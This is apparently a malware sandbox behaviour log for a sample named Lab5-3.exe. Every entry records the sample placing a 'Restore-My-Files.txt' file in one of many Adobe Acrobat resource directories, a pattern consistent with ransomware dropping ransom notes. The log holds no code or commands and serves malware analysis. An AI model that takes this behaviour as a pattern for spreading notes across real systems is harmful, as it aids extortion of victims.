Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\en-us\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\en-us\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\en-us\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\plugins\rhp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
